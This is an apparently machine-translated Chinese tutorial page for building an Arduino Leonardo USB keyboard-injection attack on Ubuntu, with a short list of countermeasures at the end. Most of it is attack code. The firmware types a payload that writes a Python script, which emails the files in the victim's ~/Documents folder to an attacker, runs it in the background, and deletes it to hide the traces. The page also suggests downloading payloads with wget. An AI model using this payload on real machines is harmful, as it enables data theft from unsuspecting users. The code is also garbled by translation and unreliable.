亿迅智能制造网
工业4.0先进制造技术信息网站!
首页 | 制造技术 | 制造设备 | 工业物联网 | 工业材料 | 设备保养维修 | 工业编程 |
home  MfgRobots >> 亿迅智能制造网 >  >> Manufacturing Technology >> 制造工艺

Arduino 键盘漏洞利用演示 (HID) 和预防

组件和用品

Arduino Leonardo
× 1
SD 读卡器
× 1
SD 卡
× 1
按钮 3 针(带电阻)
× 1
跳线(通用)
× 1
USB-A 转 Micro-USB 线缆
× 1

关于这个项目

在这个项目中,我们将使用 Arduino Leonardo 来模拟可能使用 HID(人机接口设备)的 USB 攻击。

我创建本教程不是为了帮助黑客,而是为了向您展示一些真正的危险以及如何保护自己免受这些危险。这个设备不是一个可以在任何平台上为黑客使用的设备,它更像是一个详细的概念证明。

我们将学习以下内容:

  • 如何使用 arduino leonardo 模拟键盘
  • 如何从 SD 卡读取数据
  • 如何创建一个 Python 脚本来扫描文件并通过电子邮件发送它们
  • 如何保护自己免受 USB 黑客设备的侵害

第 1 步:材料

零件:

1.阿杜诺·莱昂纳多

2.微型 USB 读卡器

3.几 GB SD 卡

4.按钮之类的 这个一个(VCC,接地和信号)

5.母-公和母-母跨接电缆

6.微型 USB 转 USB 数据线

第 2 步:构建设备

在搭建说明之前,让我们回顾一下工作原理:

Arduino leonardo 可以像人机界面设备 (HID) 一样运行,因此可以模拟鼠标和键盘。我们将使用此功能打开一个终端(在 UBUNTU linux 中)并编写一个小脚本,该脚本将访问用户主文件夹中的 /Documents 文件夹 copy.txt 文件,并将其通过电子邮件发送给某人。如果您想了解更多详情,请查看下一步。

因为它是一个演示设备,所以事情非常简单,我们不会焊接任何东西。

搭建说明

在我们开始之前检查附件,我已经附上了fritzing原理图和所有必要的文件

1.组装组件:

* 将 micro USB 线插入 arduino

* 将钥匙开关连接到arduino(接地,vcc和输出模块到D8)

* 将读卡器连接到 arduino(使用 ICSP 接头)。 Arduino leonardo 没有连接到数字引脚的 ICSP 接头,因此您需要将读卡器连接到 ICSP 接头。您可以在此处找到 ICSP 的一些图纸:https://learn.sparkfun.com/tutorials/installing-an.... 将 SS 引脚连接到数字引脚 10

2.获取arduino代码 ,你可以在github上克隆我的arduino存储库:https://github.com/danionescu0/arduino并转到projects/keyboard_exploit或从下面获取:

#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command ::";int delayBetweenCommands =10;const int buttonPin =8; const intchipSelect =10; int previousButtonState =HIGH;无效设置(){ pinMode(buttonPin,输入); Serial.begin(9600);键盘开始(); if (!SD.begin(chipSelect)) { Serial.println("卡失败,或不存在!");返回; }}void loop() { int buttonState =digitalRead(buttonPin); if ((buttonState !=previousButtonState) &&(buttonState ==HIGH)) { sdFileToKeyboard(); Serial.println("上传!");延迟(500); } previousButtonState =buttonState;}void sdFileToKeyboard() { File dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("指定的文件名不在 SD 卡上,检查 filenameOnCard !");字符串行; while (dataFile.available()) { line =dataFile.readStringUntil('\n'); Serial.println(行);发送到键盘(行); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =line; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(line);返回; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("Text:");Serial.println(line); Keyboard.println(line);按回车();返回; Serial.println("命令:"); int charPosition =commandStartingPoint.length(); int lineLength =line.length();工作线 +=","; while (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); String command =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (command !="") { Serial.print("Command found:");Serial.println(command); Keyboard.press(getCommandCode(command));延迟(延迟之间命令);键盘.releaseAll();延迟(delayBetweenCommands);}void pressEnter(){Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Sleeping for:");Serial.println(sleepAmount);延迟(睡眠金额);}char getCommandCode(字符串文本){ char textCharacters[2]; text.toCharArray(textCharacters, 2);字符代码 =textCharacters[0];代码 =(文本 =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :代码;代码 =(文本 =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :代码;代码 =(文本 =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :代码;代码 =(文本 =="KEY_UP_ARROW") ? KEY_UP_ARROW :代码;代码 =(文本 =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :代码;代码 =(文本 =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW:代码;代码 =(文本 =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW:代码;代码 =(文本 =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :代码;代码 =(文本 =="KEY_BACKSPACE") ? KEY_BACKSPACE :代码;代码 =(文本 =="KEY_TAB") ? KEY_TAB :代码;代码 =(文本 =="KEY_RETURN") ? KEY_RETURN :代码;代码 =(文本 =="KEY_ESC") ? KEY_ESC :代码;代码 =(文本 =="KEY_INSERT") ? KEY_INSERT :代码;代码 =(文本 =="KEY_DELETE") ? KEY_DELETE :代码;代码 =(文本 =="KEY_PAGE_UP") ? KEY_PAGE_UP :代码;代码 =(文本 =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :代码;代码 =(文本 =="KEY_HOME") ? KEY_HOME :代码;代码 =(文本 =="KEY_END") ? KEY_END :代码;代码 =(文本 =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :代码;代码 =(文本 =="KEY_F1") ? KEY_F1 :代码;代码 =(文本 =="KEY_F2") ? KEY_F2 :代码;代码 =(文本 =="KEY_F3") ? KEY_F3 :代码;代码 =(文本 =="KEY_F4") ? KEY_F4 :代码;代码 =(文本 =="KEY_F5") ? KEY_F5 :代码;代码 =(文本 =="KEY_F6") ? KEY_F6 :代码;代码 =(文本 =="KEY_F7") ? KEY_F7 :代码;代码 =(文本 =="KEY_F8") ? KEY_F8 :代码;代码 =(文本 =="KEY_F9") ? KEY_F9 :代码;代码 =(文本 =="KEY_F10") ? KEY_F10 :代码;代码 =(文本 =="KEY_F11") ? KEY_F1 :代码;代码 =(文本 =="KEY_F12") ? KEY_F2 :代码;

返回码;}

3.上传代码到arduino,一定要选择9600波特率,串口和arduino leonardo

4.使用 FAT16 或 FAT32 格式化 SD 卡

5.如果你从上面克隆了 github repo, 复制 卡上的hack.txt文件,如果没有文件如下:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIMEBase from email.MIMEText email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='来自被黑计算机的文件'header ='header ='To_address ='receiver_address'scan_documents_location {1}\n主题:{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg​​['From'] =smtp_user msg ['To'] =COMMASPACE.join(to) msg​​['Date'] =formatdate(localtime=True) msg​​['Subject'] =subject msg.attach(MIMEText(text)) for file in files:part =MIMEBase ('application', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', '依恋; filename="%s"' % os.path.basename(file)) msg​​.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 

6.编辑以下几行:

smtp_user ='sender_email_addr'smtp_pass ='sender_password'to_address ='receiver_address' 

并替换为您的电子邮件地址

7.取出卡并将其插入arduino读卡器

Sketch.fzz keyboard_exploit.ino hack.txt 黑客.py

第 3 步:详细工作原理

攻击将如何运作:

1. 当按下按钮时,leonardo 将使用 sd 读卡器读取 sd 卡。卡上将显示一个包含键和键组合的特殊文件。文件名为“hack.txt”。

该文件可以包含原始文本,它将按原样传递给键盘。

它还可以包含特殊命令,如“Sleep::”和“Command::”。

像这样的一行:

Sleep::200 表示休眠 200 ms

像这样的一行:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t 表示左 ctrl 按下,左 alt 按下,t 按下并全部释放

您可以在此处查看所有特殊键:https://www.arduino.cc/en/Reference/KeyboardModif...

2. Leonardo 将逐行阅读,并解释命令并模拟键盘上的按键。文件“hack.txt”包含执行以下操作的键组合(对于 UBUNTU linux):

一个。打开一个终端 (CTRL + ALT + T)

湾使用 vi 打开一个用于创建的 python 文件(写入“vi hack.py”

C。在里面写一个python脚本,收集文档主文件夹内的所有文本文件,并将它们发送到指定的gmail地址

d.在后台运行文件(“nohup python hack.py &”)

e.删除文件 (rm -rf hack.py)

F。关闭终端 (ALT + F4)

整个过程在几秒钟内运行,并且不会留下任何痕迹。

增强功能和故障排除

* 您可能注意到,在我打开终端后,我正在编写 python 文件。更好的方法是将它托管在某个地方并使用“wget some_url”命令下载它,然后将其重命名为 hack.py

* 我们也可以为目标操作系统下载或运行现成的漏洞利用

* 模块可添加wifi,hacks可通过WIFI上传

* 您可以使用 arduino micro(小得多)并在其上嵌入漏洞利用代码(使其更小)

限制

1. 因为模拟设备(键盘和鼠标)没有任何反馈我们不知道发出命令后会发生什么,这意味着我们需要使用延迟。比如我发出了一个打开终端的命令,但是我不知道它什么时候会真正打开,所以我需要指定一个任意的延迟,以确保后面输入的字符不会丢失。

2.我们可能会遇到权限问题,例如无法访问USB端口或安装某些东西的权限

3. leonardo 的打字速度没那么快

4. 只能在目标操作系统上工作(在我们的例子中是 UBUNTU linux)

下一步将尝试找到利用此限制的方法来防止我们的计算机被黑客入侵

第 4 步:对策

1.禁用USB端口

- 对于 Windows,您可以查看本教程:http://www.thewindowsclub.com/disable-enable-usb-w...

2. 将 USB 设备列入白名单:

- 对于 Windows:https://superuser.com/questions/1152012/block-unbl...

2. 不在时锁定电脑

3.不要以root身份登录(安装任何东西都需要密码)

4. 让自己保持最新状态(自动更新)

代码

  • keyboard_exploit.ino
  • 代码片段 #1
  • 代码片段#2
keyboard_exploit.inoArduino
打开文件时出错。
代码片段 #1纯文本
#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command::";int delayBetweenCommands =10;const int buttonPin =8; const intchipSelect =10; int previousButtonState =HIGH;无效设置(){ pinMode(buttonPin,输入); Serial.begin(9600);键盘开始(); if (!SD.begin(chipSelect)) { Serial.println("卡失败,或不存在!");返回; }}void loop() { int buttonState =digitalRead(buttonPin); if ((buttonState !=previousButtonState) &&(buttonState ==HIGH)) { sdFileToKeyboard(); Serial.println("上传!");延迟(500); } previousButtonState =buttonState;}void sdFileToKeyboard() { File dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("指定的文件名不在 SD 卡上,检查 filenameOnCard !");字符串行; while (dataFile.available()) { line =dataFile.readStringUntil('\n'); Serial.println(行);发送到键盘(行); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =line; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(line);返回; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("Text:");Serial.println(line); Keyboard.println(line);按回车();返回; Serial.println("命令:"); int charPosition =commandStartingPoint.length(); int lineLength =line.length();工作线 +=","; while (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); String command =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (command !="") { Serial.print("Command found:");Serial.println(command); Keyboard.press(getCommandCode(command));延迟(延迟之间命令);键盘.releaseAll();延迟(delayBetweenCommands);}void pressEnter(){Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Sleeping for:");Serial.println(sleepAmount);延迟(睡眠金额);}char getCommandCode(字符串文本){ char textCharacters[2]; text.toCharArray(textCharacters, 2);字符代码 =textCharacters[0];代码 =(文本 =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :代码;代码 =(文本 =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :代码;代码 =(文本 =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :代码;代码 =(文本 =="KEY_UP_ARROW") ? KEY_UP_ARROW :代码;代码 =(文本 =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :代码;代码 =(文本 =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW:代码;代码 =(文本 =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW:代码;代码 =(文本 =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :代码;代码 =(文本 =="KEY_BACKSPACE") ? KEY_BACKSPACE :代码;代码 =(文本 =="KEY_TAB") ? KEY_TAB :代码;代码 =(文本 =="KEY_RETURN") ? KEY_RETURN :代码;代码 =(文本 =="KEY_ESC") ? KEY_ESC :代码;代码 =(文本 =="KEY_INSERT") ? KEY_INSERT :代码;代码 =(文本 =="KEY_DELETE") ? KEY_DELETE :代码;代码 =(文本 =="KEY_PAGE_UP") ? KEY_PAGE_UP :代码;代码 =(文本 =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :代码;代码 =(文本 =="KEY_HOME") ? KEY_HOME :代码;代码 =(文本 =="KEY_END") ? KEY_END :代码;代码 =(文本 =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :代码;代码 =(文本 =="KEY_F1") ? KEY_F1 :代码;代码 =(文本 =="KEY_F2") ? KEY_F2 :代码;代码 =(文本 =="KEY_F3") ? KEY_F3 :代码;代码 =(文本 =="KEY_F4") ? KEY_F4 :代码;代码 =(文本 =="KEY_F5") ? KEY_F5 :代码;代码 =(文本 =="KEY_F6") ? KEY_F6 :代码;代码 =(文本 =="KEY_F7") ? KEY_F7 :代码;代码 =(文本 =="KEY_F8") ? KEY_F8 :代码;代码 =(文本 =="KEY_F9") ? KEY_F9 :代码;代码 =(文本 =="KEY_F10") ? KEY_F10 :代码;代码 =(文本 =="KEY_F11") ? KEY_F1 :代码;代码 =(文本 =="KEY_F12") ? KEY_F2 :代码;

返回码;}

代码片段#2纯文本
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIMEBasefrom email.MIMEText. imports MIMEBasefrom email.MIMEText imports import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='来自被黑计算机的文件'header ='To :{0} \n主题:{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg​​['From'] =smtp_user msg['To '] =COMMASPACE.join(to) msg​​['Date'] =formatdate(localtime=True) msg​​['Subject'] =subject msg.attach(MIMEText(text)) for file in files:part =MIMEBase('application ', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attac hment; filename="%s"' % os.path.basename(file)) msg​​.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduino

示意图

草图_D4S1ftXkTU.fzz
Arduino 存储库
草图在projects/keyboard_exploithttps://github.com/danionescu0/arduino
里面

制造工艺

  1. LCD 动画和游戏
  2. 使用 Arduino 和智能手机的 DIY 电压表
  3. 温湿度数据记录仪
  4. Arduino + LEDs + MIDI 键盘 + MuseScore =Piano Tutor
  5. Python3 和 Arduino 通信
  6. 基于 Arduino 和 OLED 的元胞自动机
  7. 使用 Arduino 和 RDA8057M 的 FM 收音机
  8. 基于Arduino和谷歌电子表格的考勤系统
  9. Arduino 的 64 键原型键盘矩阵
  10. Arduino 计算器
  11. 物联网:Windows 远程 Arduino 和通用应用
  12. MKR1000 温湿度传感器